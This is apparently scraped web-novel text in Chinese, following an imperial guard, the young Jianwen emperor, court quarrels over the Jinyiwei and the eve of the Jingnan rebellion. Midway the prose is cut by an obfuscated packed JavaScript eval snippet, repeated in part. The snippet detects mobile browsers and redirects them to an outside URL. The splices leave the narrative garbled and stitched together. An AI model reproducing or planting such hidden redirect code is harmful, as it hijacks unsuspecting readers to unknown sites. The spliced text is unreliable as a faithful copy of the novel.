冬去春来,此处却是一院颓废春色,墙边扔着几个破烂风筝,过年时放的鞭炮纸碎还未扫,被春雨一淋,铺在地上,更显萧条。 云起喊道:“回来了,弟兄们。” “我的爷——!”荣庆领着一群锦衣卫匆匆冲出。 “可算是回来了!” “云哥儿!” 这一声大叫惊动了房内侍卫,楼上楼下数十扇门一齐洞开,纷纷奔出人来,抓着云起不放手。 无数熟悉无比的面孔各自纷纷说着什么,又有人愤怒叫嚣,显是云起不在这段时间,锦衣卫被打压得甚惨。更有人说话时两眼通红,情绪难以自控,一手握拳,吓得马三保退了半步。 云起笑道:“三保去把门关了,大家各自找地儿坐,一个个来,说罢。” “你还笑得出来!”涂明愤怒道:“这日子简直没法过了。” 云起安慰道:“我和你们也差不离呢,方才在御书房外罚站一下午,自家兄弟,别跟见了仇人似的成不?” 说到此处,云起忽觉不妥,沉声道:“御书房外,午时是谁值的班?怎不见锦衣卫?” 荣庆叹了口气,道:“皇上要撤锦衣卫,改宫中编制,众弟兄都正闲着呢,无所事事三天了。” “皇上吩咐,四十八人都不得出院子,免得惹是生非。云哥儿,你吩咐罢,要如何做,咱的性命前途,就都交给你了。” 云起事先早已作了最坏的打算,无非便是削藩,连带着自己失宠,然而朱允炆顾念旧情,定不会难为锦衣卫一脉。 如今看来,朱允炆竟禁了众锦衣卫的足,只等着自己回来……难道时来运转,大势当真沦落至此? 云起还未想出什么,却听院外堪堪传道:“皇上驾到——!” “……” 满院锦衣卫先是一楞,继而一同望向云起。 云起一个激灵,却是无论如何高兴不起来,慌张道: “荣庆去开门,全部人跪下!接驾!三保进屋子里躲着!快!” 红漆木门拉开,现出朱允炆苍白而疲惫的脸。 “参见皇上!” 云起领着满院的锦衣卫,一同单膝跪地,双手抱拳施礼。 朱允炆吁了口气,沉默不言,看了云起一会,而后道:“徐爱卿,朕赠予你的戒指呢?” 24. 皇明祖训 天色昏暗,侍卫们回了房,各房内点起灯,元宵刚过,窗纸儿还未撕下来。 五颜六色的镂花将房中灯光切割成零落的碎块,投在院里。跳动的光斑,犹如斑驳的皮影戏,令云起看得出了神。 朱允炆与云起并肩坐在井栏上,云起道:“给你带了些北平的土产,好吃的。” 朱允炆微笑答道:“现不太吃零嘴儿了。” 云起漫不经心道:“太傅定的规矩?” 朱允炆轻轻叹了口气,忽道:“戒指呢?” 云起哭笑不得道:“被我弄丢了,在北平做客的时候,不知怎的,一觉睡醒就给磕碰没了。” 朱允炆微愠,房内的锦衣卫们竖着耳朵,偷听君臣对答,纷纷为云起捏了把汗。 云起心念电转,脑海中瞬间闪过了无数个想法,捕捉到了最好的时机。 怎么说?籍此事表达对朱允炆的婉拒?那枚戒指可是他的定情信物,自己有了拓跋锋,无论如何不可再招惹皇帝。 况且伴君如伴虎,该怎么说?是说允炆,对不起,我仅是个侍卫,也只能是个侍卫,戒指丢了便是天意,从此…… 在这风口浪尖上拒绝朱允炆,情势会变得如何恶劣,谁也无法猜测。 罢了,长痛不如短痛,总须有割清的时候。 云起把心一横,咽了下口水,艰难道:“允炆,对不起……” 朱允炆打断道:“算了。” “……” 云起茫然看着允炆,朱允炆道:“回来了就好,以后再给你个。” 瞬间院内各房中响起桌翻椅倒的声音,朱允炆轻飘飘一句话,等于是解了套在所有人头上的枷锁。 云起思绪犹如乱麻,欲言又止道:“允炆,我……” 朱允炆笑了笑:“我原以为你不会回来的。四叔没强留你?” 云起在心内叹了口气,一个头两个大。少顷一笑道:“怎可能不回来?” 朱允炆点了点头,起身离去。 这就走了?没别的话说了?云起愕然,也不知起身来送,好半晌后方跟上朱允炆,送到门口时,云起终于道:“明儿还得值勤不?” 朱允炆答道:“歇够了便值勤罢。” 刹那间所有人心头放下一块大石。 朱允炆转过身,淡淡道:“太傅与方学士联名上书,要撤锦衣卫编制,到时若再说起,你明白该怎么说的。” 说着朱允炆促狭一笑,一君一臣,仿佛又回到了昔日合伙作弄朝臣的时光。 云起莞尔道:“要说甚大道理,只恐怕云哥儿不是太傅的对手呢……” 朱允炆道:“没事,有我给你撑腰么?云哥儿去北平的这些日子里,忽然没了你,才知道……” 朱允炆恰到好处地截断了话头。 云起蹙眉不解,正要再说点什么,朱允炆却朝云起招手。 云起比朱允炆高了半个头,心中一动,便俯首听朱允炆有何妙计。 孰料朱允炆竟是一手勾着云起的脖颈,把唇凑近前来。 春凉如水,满庭落花。 皎洁月光中,君臣二人的身形在大院门口,形成了一个接吻的黑色剪影。 云起脑海中一片空白,未料朱允炆对自己竟是情深至此。 朱允炆冰凉的唇一触即离,转身时小声道:“可算是回来了……” 云起愣在原地,目送朱允炆孤单的背影转过拐角,消失于高墙后。 云起点了点头,抬袖抹了把嘴,脸上红得发烫,尴尬得无以复加,转身入院,却发现院里小伙子们穿着单衣,赤脚站在地下,无数道目光聚在云起脸上。 荣庆深深地吸了口气,严肃道:“云哥儿……你可回来了……” 轰一下满院大老爷们炸了锅,一拥而上来揉云起,各个嬉皮笑脸道:“赫赫!赫赫!你可算回来了!!” “哎,你们干什么!”云起叫唤道,淬不及防被一班兄弟挤到了墙角,荣庆大叫道:“嘿哟——” 于是众侍卫开始玩命挤了。 提心吊胆这许多日,终于得到了解脱,压抑的情绪一瞬间尽数爆发出来,锦衣卫当惯狗腿,自然懂得察言观色,从朱允炆与云起的一吻中,森森地看到了他们锦绣的前程! 那一刻所有人都发了疯,只把云起推在墙角使劲挤个没完,锦衣卫宿舍里竟是变得与疯人院一般。 “好了好了……”云起仓皇躲闪。 “我说好了!”云起大吼道,把荣庆推了个趔趄。 云起呼哧呼哧喘了片刻,道:“都别闹!正烦着呢!”说毕径直进房,狠狠摔上了门。 锦衣卫们面面相觑,不知云起缘何发火。 话说国之将亡,必有妖孽,大明朝廷早朝时间,见到徐云起立于龙案一侧时,几乎所有的言官与文臣都如是想。 从云起与朱允炆各自的黑眼圈上,判断出了昨夜定是发生了一些不寻常的事。 朱允炆呵欠连天,云起却只得苦忍着。 黄子澄立于殿前,朗声道:“日前所奏,撤去内廷锦衣卫一议……” 云起冷笑道:“黄太傅失心疯了?锦衣卫决不可撤。” 那是自明朝建国三十二年来,锦衣卫首次在朝廷上发出声音,一时间满朝文武哗然,齐泰排众而出,戟指怒道:“你是什么东西?!大明朝廷焉有你等侍臣说话的地方!” 云起得了朱允炆授意,全无畏惧,今日更是有备而来,早已想好说辞,讥道:“我是什么东西?” “我是徐达之子!”云起斥道:“我父乃是开国元帅,与李善长,胡惟庸是同僚,我徐家供有太祖钦赐铁券,我自太祖在位之时便入宫当差,如今皇孙继位,蒋师告老,本正使可谓三朝老臣,论资排辈,皇孙尚且要喊我一声‘叔’,哪位大人不服?!” 朱允炆嘴角浮现出一丝微笑,似是听得十分有趣。 朱允炆温言道:“既是如此,云叔但言不妨。”说着挽了衣袖去取笔,身旁宦官忙揭开墨砚。 云起堪堪忍着笑意,续道:“今日逾了廷矩,云起甘领此责。然而各位大人,可是想当千古罪人?!” 方孝孺冷冷道:“内廷制度冗繁,锦衣卫一职本无存在必要,洪武年间,太祖亦曾考虑过撤去锦衣卫职务,为君分忧,何罪之有?” 云起反问道:“太祖撤了么?” 方孝孺面若寒冰,不予置答。 云起朗声道:“锦衣卫乃是前朝所设,二十二卫,以锦衣为首,此乃《皇明祖训》上所记,敢问方大学士,意欲废黜祖制,该当何罪?” 方孝孺这一惊非同小可,不料徐云起竟是对朱元璋留书亦得知一二,朱元璋在位之时,便留下《皇明祖训》《太祖宝训》两本祖制。 祖制上通篇俱是“不可”“要”等字眼,来为子孙后代确立了一整套明确的法规制度,并屡屡强调,若有臣子敢于冒犯、更改祖训,便应将其“全家凌迟处死”,这事说大可大,说小可小,朱元璋早就去了阴间,是否沿用祖制,全看在位皇帝。 言官,文臣最重规矩,云起抬出了祖训,方孝孺竟是哑口无言,锦衣卫之制本未入编录,只是一两句话约略带过,但云起抓着这点无关紧要条文,咄咄进逼,又道:“方大学士没读过皇明祖训?” 方孝孺终于想到对策,道:“规矩由人所定,亦可由人所改,当今皇上英明睿智……” 云起大笑数声,调侃道:“方大学士改规矩的规矩,又是何人所授?” 方孝孺只懂研读,不善诡辩,云起一开始瞎绕,廷下众文人俱是懵了,正思索云起的话时,黄子澄已暗道糟糕,不可着了这奸宄的道儿,怒道:“规矩不合时宜,便需更改,穷则变,变则通,此乃圣贤所言,有何不可?!” 云起悠然道:“也就是说,撤锦衣卫,改祖制一奏,在当朝寻不见凭依。” 黄子澄冷冷道:“你又有何凭依?” 云起道:“我自然有。” “《皇明祖训》第九章‘内官’,太祖皇帝亲笔:锦衣卫执六廷仪仗,责王诛臣,唯听命于天子,诸臣不宣,莫可逾礼。” “第五章,慎国政!士人,庶民不可妄议内臣,锦衣卫可是内臣?!不可妄议祖制,黄太傅与方大学士,可是在更改祖制?若有妄改者,九族凌迟!” 云起冰冷的声音在奉天殿内回荡,言官们吓出了一声冷汗。锦衣卫向来是所有朝臣的天敌,言官,文人天不怕地不怕,忤逆君王不过是一条命,被斩了正好成全一世清名,然而若是落到锦衣卫手上,廷杖一打下去,将人打得不死不活,半条命吊着,却是比杀头更可怕。 方孝孺被打折了腿,如今仍是一瘸一拐,一时间文武百官无人敢看朱允炆,目光齐刷刷聚集在方孝孺的屁 股上。 云起道:“九族凌迟……各位大人若执意想改祖制,便请做好准备。徐云起甘愿奉陪,锦衣卫四十八人,尽数丢了饭碗,大人们家中老小性命,却是远远不止四十八条了。” 殿上静了下来,黄子澄打了个寒颤,不敢再说,方孝孺却抛了拐杖,静静与云起对视,傲然道:“以孝儒蜉蝣之力撼祖制巨树,除毒瘤,肃朝纲,纵是灭十族又如何?!” 好胆气!云起暗自赞叹道,不料方孝孺胆子竟是这么大,议事虽已陷入僵持,然而云起仍忍不住钦佩方孝孺的硬气。 朱允炆见戏也演得差不多了,便开始打圆场,柔声道:“大学士无过,此事朕自有打算。” 朱允炆怕的只是鸭子般叫唤不停的言官们,倒不如何惧方孝孺,当面赏了颗糖,道:“方大学士与徐正使俱是为国分忧,也谈不上孰对孰错,此事改日再议。” 言官们这才集体松了口气,方孝孺家小的命不值钱,他们家小的命却是值钱的,自杀不打紧,拖上九族就冤了。好不容易圣明天子在位,还被诛了全族,太也说不过去。 方孝孺势单力薄,长叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱允炆竟决定在御书房宣见燕王子嗣,随侍黄子澄方孝孺,凭什么不当着大臣们的面,宣朱高炽朱高煦进殿?!有什么见不得人的事?凭什么瞒着大家?凭什么偷偷摸摸的,不让人听! 凭什么凭什么凭什么? 朱允炆心情甚好,是以傲娇地心想,才不关你们事呢。 云起得足了天大的面子,这下要拒绝朱允炆的感情,便更难说出口了。 云起仍旧侍于一侧,允炆在书案后坐定,方柔声道:“传那两兄弟。” 论辈分,允炆乃是他们堂兄,虽久未谋面,心中依旧是带着几分亲情。 朱高炽素有脚疾,一瘸一拐地带着幼弟进来了。 朱高煦心中忐忑,尽数写在脸上,显是第一次离开父母这般远,只靠兄长照料,此时见到云起,心中一喜,便唤道:“小舅!” 云起忙竖指唇边,微笑点了点头,示意不可无礼。 “不妨。”朱允炆安慰道:“路上辛苦了。” 朱高炽这才拉着幼弟便拜,口称:“吾皇万岁。” 朱允炆示意平身赐座,朱高炽又喊了声“皇兄”,便让弟弟坐了,自己仍站着。 黄子澄坐于一旁,冷眼去瞥朱高炽,嘲道:“休要惺惺作态,你父扣留朝廷钦差,私囚北平布政使……” “闭嘴!”朱允炆怒道。 黄子澄心中一凛,未料朱允炆竟是发这么大火。 朱允炆本想先叙一番家事,无奈被不知好歹的黄子澄提前引入正题,什么兴致也没了,只得作罢,问道:“四叔派你俩入京做什么?可有亲笔信?” 朱高炽一笑道:“回皇兄,父王说他的字见不得人,有几句话,交代我们两兄弟来回禀皇兄。” 朱高炽便那么病怏怏地站在书房里,云起看了于心不忍,道:“先坐罢。坐着说。” 朱高炽略一沉吟,点头,却不就坐,待朱允炆问道:“什么话?”朱高炽方胸有成竹,答道: “允炆,四叔为你守着北平,你可是不放心?怕四叔造反?实话告诉你,你若撤了四叔与十七叔的藩,北元再卷土重来,这朝廷上下,一群书呆子,上了前线就只有掉脑袋的命。” “你当真要撤藩?成。俩儿子交你手上,话给你说到这份上了,你若要疑四叔造反,便把我儿子杀了,看四叔造不造反……” 云起瞬间出了一背冷汗。 朱高炽那话学得惟妙惟肖,竟是与朱棣似了个十足十。 朱允炆脸上阴晴不定,朱高炽手心满是湿汗,又鼓起勇气道:“知道你……下不了手,四叔也一样地下不了手。退一步罢,别撤了,四叔给你守着这江山,万里长城,没四叔在,终究是不成的。” “允炆,登基头一年,你便要学你的爷爷,我的老爹不成?!” 御书房内落针可闻,众人屏息,朱高炽说完,抬袖擦了一把额上的汗,这才坐下。 25. 失而复得 云起领着两名外甥从御书房内出来,朱高炽两脚便开始不听话地打颤,跛着走到御花园偏僻处,“嗨”的一声长叹,脸色苍白,扶着一棵树不住喘大气。 “小舅……”朱高煦则怯怯地抱着云起的腰,把头埋在云起身前。 云起本想大骂朱棣与朱高炽一顿,见高煦如此,也觉得可怜,只得敛了怒火,冷冷道:“姐夫是不是打定主意,允炆就算要动手杀你俩,我也会拼死护着。” 朱高炽如释重负,笑道:“是的,小舅。” 云起一肚气无处发,点了点头,道:“很好,他猜对了。我还真得护着你俩。” “先带你们去歇下。”云起没好气道,背起小的,便朝后宫绕去。 朱高炽忙跛着跟上,云起一路走,一路吩咐道:“允炆吩咐先住下,现虽未曾限制行动,识相点,不许在宫里乱走。” “是,小舅,全听你的。” “你俩从家里带来使唤的人呢?” “宫外侯着。” 行到庆延殿前,云起交代道:“既还在宫外,便别让进了,使唤宫中管事的就是,其余我去替你俩安排……” 高煦蹙眉道:“为什么?” “别问。”朱高炽制止了亲弟的询问,点头道:“好的。” 云起又低声道:“我不管你们在家里听到了什么,关于北平的一切事情,在这里都不许谈,宫中耳目众多,知道么?” 说毕也不待跛子应答,云起便唤来殿外数名太监,打量片刻,选了个看上去老实木讷的,交代一番后朝高炽道:“这里原本是马皇后住的地方,现便安歇下,稍晚点我让三保来跟着。” 两兄弟便被这么孤零零地放在后宫里,云起又想了一会,便忍心走了。 朱高炽少年老成,明白那王爷世子的头衔,到了天子脚下,不过是个虚名头,亲父一方面在北平折腾不停,热火朝天地忙着造反,而自己兄弟进了京城还有此优待,全靠云起护着。 若非有这御前第一大红人交代下来,俩兄弟是否会处处遭人冷眼,受人嘲弄还难说得很。 天色渐晚,云起出宫一趟,安顿了朱氏兄弟从北平带来的侍婢,方不放心地入房歇下。 “云哥儿。”荣庆一手捧着碗,捏着筷子在窗台上敲了敲,道:“开饭了。” 云起迷迷糊糊道:“啥菜?” 荣庆报了菜名,道:“病了?端屋里吃?” 云起道:“攒个食盒,拣鲜笋子,山竹,再弄半尾蒸鱼把鱼刺细挑了,淋点香油,让三保给我俩外甥送去。” 荣庆“哟”了声,道:“小王爷来了?今儿还听当值兄弟们说来着……” 云起不耐道:“快去快去,别啰嗦,老子困得很。” 荣庆笑道:“饭菜给你盛着,我这就去……” 云起又睡了一会,忽觉得嘴角冰凉,便随手一撇,摸到根软软的手指头。 半睡半醒间,云起面朝里睡了。 窗格上“咯噔”一响,云起不悦道:“荣庆!你干嘛呢,别猴儿似的乱碰!” 说话间听到一阵隐隐约约的笑声,那声音自顾自道:“面人儿?” “……” 云起吓得不轻,忙翻身坐起,见朱允炆不知何时出现在房里,手指去扯插在窗格上的一对面人。 那正是回北平省亲时,傻子拓跋锋与云起并肩站着,于天桥上让人捏的一对。 面人已干裂,朱允炆对着灯光端详,认出其中一人,笑道:“这是你?旁边这家伙是谁?” 云起道:“那是师……”忽地警觉,拓跋锋一事复杂至极,数年前朱棣遣拓跋锋谋杀朱允炆之事,现在可万万不能捅出来,正思考要如何应答,朱允炆已使力拉扯,要取下来一看究竟。 云起忙道:“那玩意儿插牢了……允炆,不可乱动……” 朱允炆一扯,“拓跋锋”的脑袋登时咕咚一声掉了下来,滚进柜子底下,不见了。 云起下床气未消,本十分珍惜这俩面人儿,登时火起吼道:“叫你乱碰!” 朱允炆吓得缩了手,讪讪看着云起。 “……” 许久之后。 云起揉了揉额头,哭笑不得道:“皇上,对不起,臣逾矩了。” 朱允炆松了口气道:“我……待会替你粘回去。你生病了么?晚饭时我去看高炽,恰好碰见你遣人送饭,说你晚饭也没吃,便来看看你。” 云起掀了被子,让出床边空位,允炆笑着坐了。 云起答道:“忘告诉你声,那人唤三保,是我姐给派的小厮,死活让他跟着我回京。” 朱允炆点了点头,道:“成,你给他刻个腰牌罢,就说是我放进来的,明年宫里选执事时入在我殿里。” 云起那一声吼得酣畅淋漓,此刻方有点后怕,试探地看着朱允炆,朱允炆看着他,两人忽地心有灵犀,俱是一齐笑了。 油灯光映在被铺上,云起屈膝坐着,道:“我外甥说啥了?” 徐云起身着单衣短裤,光着脚,薄薄的白衣下现出年轻男子躯体的轮廓,云起的皮肤干净且白皙,肩宽臂长,身材匀称。身上单衣解了数枚布扣,现出锁骨与胸膛。两道剑眉斜飞入鬓,那面容不及拓跋锋潇洒豪迈,却别有一番儒将世家的英气。 朱允炆看得走了神,竟是不知回答。 云起熟睡时只顾舒服,趴了许久,现醒来后脸上一红,扯过被盖着,朱允炆咽了下唾沫,不自觉地抬起手,指尖来触云起的脸。 “??” 云起莫名其妙,问:“怎么?”遂握着允炆手指,那一国之君,当朝天子竟是俯上前来,柔唇微张,要与云起接吻,云起忙道:“允炆……不,等等。” 朱允炆反手握着云起的手腕,云起本是习武之人,腕力极强,轻轻便能把朱允炆推开,然而此刻皇上要用强,却是不好赏他一巴掌,云起只得面红耳赤侧过脸,朱允炆爬上床,抱着云起肩膀,在其耳畔不住亲吻。 “云哥儿……云……” “允炆,你听我说。不,允炆……” 云起手忙脚乱地推开朱允炆,哭笑不得道:“别乱来,皇上,我不过是个侍卫!” “允炆!” “别动!朕命你……” 朕命你什么?乖乖就范? 云起登时大窘。 朱允炆抱着云起的腰,把头贴在云起健壮的胸膛上,呼吸着他身上的男子气息,忍不住道:“云哥,我……” 云起眉头深锁,沉声道:“允炆,咱俩小时候……虽然总是在一处,但是……这话迟早得说,我从来便是把你当作弟弟照顾……没有旁的念想,允炆……” 朱允炆冰冷的手覆在云起肌肤上,令他不由得打了个寒颤。 朱允炆那手不断下移,云起终于忍无可忍,猛地将朱允炆推开,怒道:“皇上!” “我不过是个侍卫,不敢逾礼。”云起道。 朱允炆已是昏了头,绝望地说:“我让你当将军!” 云起扑一声笑了出来,道:“允炆,云哥有……喜欢的人了,你是一国之君,要娶妻,立后的,怎能断袖?” 云起那一声笑,听在朱允炆耳中正如五雷轰顶,瞬间坠入万丈深渊,半晌说不出话来,只觉云起的笑容俱变了嘲讽之意。 “我……允炆,我们不可能。”云起认真道:“而且我也配不上你……允炆!” 朱允炆跌跌撞撞地出了门,云起掀被去追,跑出几步,又停了下来。 罢了,由他去,云起心想,话总有说开的时候。 是夜,云起解决了一桩大事,心内无比轻松,摸黑扒了两大碗饭,从衣柜下掏出面人拓跋锋的小脑袋,蹭了点口水粘回去,复又满意睡下。 朱允炆□□未遂,反被发了张好人卡,回殿后如何难受啼哭不知,真可谓时也,运也。 一连数日,皇上罢朝,百官放假。 云起翘着二郎腿,坐在舞烟楼的内院,自斟自饮,吃着小菜,院内正中是挽着袖子,操着板子,“啪啪”作响,训练雏妓学琴的春兰。 春兰颐指气使,母老虎一般道:“弹富贵点的曲儿。” 那雏妓怕得很,忙依言抚琴。 春兰嗔道:“徐云起,你也真够横的,就不怕圣上把你关大牢里。” 云起笑道:“他不是这样的人,打小一起长大,我对他心思清楚得很。” 春兰墨漆般的眼珠子滴溜溜转着,云起又解释道:“小时候,他想要的东西,从来不强取,反而知道退一步海阔天空的道理。况且他面上斯斯文文,性子却是倔得很,就算逼我……逼我就范……” 春兰娇笑数声,道:“得到了你的人,得不到你的心也是无用。” 云起手臂上起了一层鸡皮疙瘩,头皮发麻道:“没错,就是你说的这意思。打个商量,咱不说这个?允炆也是聪明人。” 春兰嘲道:“怎不见你从了他,我们也好跟着鸡犬升天一回,你说这舞烟楼在应天府开了数十载,生意总也做不大,都说朝中有人好办事,你下回就使把力,在皇上面前美言几句成不?妈妈原想把楼开到北平去……” 云起险些一口酒喷了出来,春兰兀自在那絮絮叨叨计划个没完,朝云起阐述她的人生梦想——当舞烟楼北平分窑窑长。 云起打岔道:“再过几日便是清明了,我得陪皇上去山上烧纸,我娘的坟也在紫金山,入不得祖坟,今年还是你去替我姐弟二人扫了成不?” 春兰正陷在无限的憧憬中,道:“哦,温姨的墓。” 云起又道:“把我那俩外甥给你派着去?” 春兰道:“罢了,服侍不来俩小王爷,我明儿挽个篮子便上山去了。你还是儿子呢,咋不顺道去烧点纸?” 云起哭笑不得道:“哪敢带着皇帝到我娘墓前去?再说每年清明出巡一大班人马,没地扰了她老人家的清静。” 春兰忍不住道:“好歹得把坟儿给迁回你爹老家去。” 云起唏嘘道:“我又何尝不想,二哥不让我娘进祖坟,我姐年年与他吵,这几年才消停了些。” 春兰叹道:“楼里的女人俱是命苦的,连温姨也不例外……”说毕朝院中那雏儿怒道:“弹什么花好月圆!没见正哀着吗?” 那新学琴的雏妓被轰了出去,春兰便坐在琴前,手指拨弦,低声唱道:“曲罢曾教善才服……妆成每被秋娘妒……” 云起嘴角抽搐道:“这是王婆卖瓜自卖自夸么……” 春兰清了莺喉,自顾自抒唱起来,一曲毕,柔声道:“我若是去北平,凭着我这琴艺,身段,秀色,怎么着也得是个一代名……” “徐云起——!” 酒桌上不见人影,锦衣卫正使已溜了。 春兰叉腰尖叫出门去追:“妈八羔子的!狗侍卫!你喝酒没给钱——!” 朱允炆自从那一天起,便憔悴萎靡下去。除了黄子澄外,所有的近臣都猜到是怎么一回事,并不约而同地保持了沉默。 黄子澄例外,狗侍卫快倒台了,太傅的春天终于来了。黄子澄乘虚而入,嘘寒问暖,然而太傅的城府功夫向来不太到家,幸灾乐祸的神情都写在脸上,即使安慰,也是内心窃喜地安慰。 于是太傅挨了皇上劈头盖脑的一墨砚,世界终于安静了。 朱允炆龙颜大怒时,云起便站在龙案边。 那日闲聊时,云起仍有一句话未说,他算准了朱允炆不会因爱生恨,并不仅仅是建立在他对他的了解上。还有一个原因是:得不到的总是最好的。 朱允炆得不到云起,会有一种下意识的无助,便不可能难为他的外甥。只会拿旁的人出气。 出完气后,朱允炆一整袍服,对满头墨水的黄子澄视若无睹,淡淡道:“这便走罢。” 云起低声叹了口气,跟在天子身后,朱允炆上了金顶龙车,云起微一迟疑,便跟了上去。 清明节,车队浩浩荡荡地开向城外紫金山,朱元璋尚未迁棺回凤阳,暂葬于紫金山皇陵。朱允炆是真正的当家了,他带着南京所有的皇族,上山烧纸,祭坟。 朱允炆冷冷道:“徐卿不用骑马护卫?” 云起想了想,道:“几天没见你了,和你说说话儿,外头有荣庆照拂。” 朱允炆嘲道:“你可真够放肆的。” 云起看着朱允炆,笑道:“臣不才斗胆,不过是仗着皇上宠我,否则凭什么放肆?” 朱允炆静了片刻,云起也不客气,便坐到他身旁。 朱允炆鼓起勇气道:“你有喜欢的人……是谁?” 云起沉默了,继而报以一个微笑。 朱允炆本已完全熄灭的希望,不知为何又重新燃烧起来。小皇帝叹了口气,倚着云起,把头搁在他肩上,道:“别躲成不?” 云起略一沉吟,道:“皇上别太……过界,臣原是不敢躲的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472506|185544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 朱允炆喃喃道:“不敢躲?” 云起道:“有甚好躲?小时候,云哥儿不也常这么抱着你么,皇孙。” 云起嘴上说着,心里想的却是千里之外的拓跋锋,朱允炆忽地笑道:“对。”继而把头枕在云起腿上。 一切都在云起的预料之中,朱允炆的心情好了不少,挑了些过去的回忆来说,马车摇摇晃晃,略微倾斜,想是在登山,过了不久,便即停下。 呼延柯掀开车帘,朝内望了一眼,仅是惊鸿一瞥,心内却已十分震惊。 “到了?”云起问。 朱允炆闭着眼,不悦道:“这么快就到了?” 云起笑道:“那再走一会。” 呼延柯尴尬得很,不知该如何回答,只得恭敬道:“臣……罪该万死,到了。” 皇车已至山顶,云起牵着朱允炆的手下车,正要撒手时却被朱允炆紧紧攥着。 “皇上,百官都看着呢。”云起低声道。 朱允炆无奈,只得松手,道:“大家都随我来。” 清明时节,灰蒙蒙的天空飘起细雨,将山道沿路的新树淋得翠绿。 长满青苔的台阶湿滑,众人提着袍襟小心行走,面上表情俱是哀痛,沉湎,然而心内所思各异,不知是在默哀朱元璋,还是默哀洪武年间交待在朱元璋手中的人命。 皇陵建得甚高,云起与呼延柯率先开道,众臣随后,弃车徒步朝陵前缓缓行走,那山上排出一条长达半里的人队,遥遥望去,颇为壮观。 呼延柯不住打量云起,云起却心不在焉,侧目望向山下,低谷处是他生母的坟墓。 紫金山下,一个孤零零的身影挽着个竹篮,朝那处走去,云起认出那是前来上坟的春兰。 云起面无表情地心想:皇帝与妓|女,死了以后都葬在同一座山上;躺的不过也是那么一小块地方。 呼延柯冷笑道:“山下埋的是谁?” 云起淡淡答道:“我娘温月华,舞烟楼头牌阿姑。” 呼延柯正要寻话来讥讽,朱允炆却笑道:“待会祭完爷爷,顺路去给你娘上坟?” 方孝孺色变道:“万万不可!皇上九五之尊,怎可去祭一个……祭一名风尘女子?” 云起笑道:“就是,皇上若给她鞠个躬,说不定得害我娘九泉之下也不得安死。” 云起这般调侃,众臣俱又抽了口气,看来昏君奸臣二人之间的裂缝已消弭了,妖孽就是妖孽,妖孽呐! 云起还待说句什么,那队伍中却是吵吵嚷嚷,朱高煦与三保笑着追了上来。 “高煦!”云起忙喝道:“台阶上滑,不可追逐!仔细摔了!” 朱允炆笑着伸手去扶,三保手里拿着只草编的蚱蜢,身轻如燕,在台阶上碎步一点,便从众人身前掠过,朱高煦却不知为何十分兴奋,只一路追个不停。 云起怒道:“高炽呢?怎也不管着你弟?” 朱允炆微笑道:“高炽脚不方便,没上山来……高煦,到哥这儿来。” 高煦大声笑道:“不!小舅帮我抓住他!” 三保有意放慢了些许跑速,等着高煦来抓,朱高煦还是个孩子,几步奔上,险些在台阶上滑了一跤,忙伸手拉扯,抓住马三保的腰带,连带着他也摔了个趔趄。 “好了!别闹了!”云起喝道:“回队里去……” 霎时间朱允炆脸色大变,伸出手,去捞空中落下来的一物。 “皇上!”呼延柯与徐云起同时叫道。 云起背脊倏然一片寒碜,见三保与朱高煦拉扯时,怀中落下一个反射着日光的圆环。 玳瑁戒从朱允炆的指缝间穿过,落下地面,掉在石板上发出叮的一声脆响,继而弹起,沿着台阶滚下山去。 朱允炆收回手,呆呆地站在原地。 云起慌忙跃出山道,一脚踏着湿漉漉的草丛,斜斜滑下山坡。 “皇上?”呼延柯试探地问道。 朱允炆把目光投向三保,三保不知所措地站着,继而意识到了什么,把朱高煦护到身后。 朱允炆深深地吸了口气,吼道:“把这小子抓起来!” 与此同时,朱棣诸事准备停当,可以开始造反了。 造反之前,最重要的一件事是:把两名当人质的儿子接回来。否则坐上皇帝椅子,却没了太子,可是大大的不妙。 朱棣半点也不担心,这步棋早在云起省亲时便已设好,此刻绝世高手拓跋锋接到朱棣的委派任务,立下军令状,带着数匹空马回南京去,准备在内应马三保的配合下,带回朱高炽与朱高煦两兄弟。 拓跋锋熟谙皇宫布局,又精通刺探与暗杀,无疑是最恰当的人选。 长亭十里,芳草萋萋,冰雪初融,徐雯与朱棣把拓跋锋送到北平城外。 拓跋锋拍了拍马头,把包裹放上马背,唯一的兵器只有张三丰赐予的钝剑“七星”。 “你不带把淬毒匕首啥的……真的成么?”徐雯担心地问道。 拓跋锋神色如常,一边束紧马鞍,答道:“剑在心中,一试天下。我会不再用利剑,也不再杀人。” 徐雯叹了口气,道:“该杀的还是得杀……” 朱棣道:“好了好了,你女人家不懂的。要相信锋儿的本领。” 拓跋锋漠然道:“我这就去了。” “成,去你的吧。”朱棣答道。 徐雯红着眼,楚楚道:“你可千万得把弟弟们带回来啊,锋儿。” 拓跋锋翻身上马,漠然道:“会的,我真的去了。” 朱棣不耐烦地挥手道:“快去快去。” 徐雯欲言又止,拓跋锋踌躇片刻,知道她想说什么。 “还有云起……”徐雯张口道。 朱棣不悦道:“不是说了么?!云起待在皇宫里比来北平安全,你要他平平安安,就别让锋儿带他回来。” 徐雯哽咽道:“我放心不下……万一皇上要拿他……” 朱棣道:“不会不会!锋儿你快走,别理她。” 拓跋锋点头道:“哦,我这就真的去了。” 朱棣怒吼道:“快滚!” 拓跋锋一抖马缰,喝道:“驾!” 三匹千里马仰天长嘶,起蹄,在料峭春寒中朝着南京疾速奔去,冷风中,拓跋锋的嘴角隐约有一抹笑意。 突厥剑手策马奔驰,离开北平,拉开了建文年间,翻天覆地的靖难之役序幕。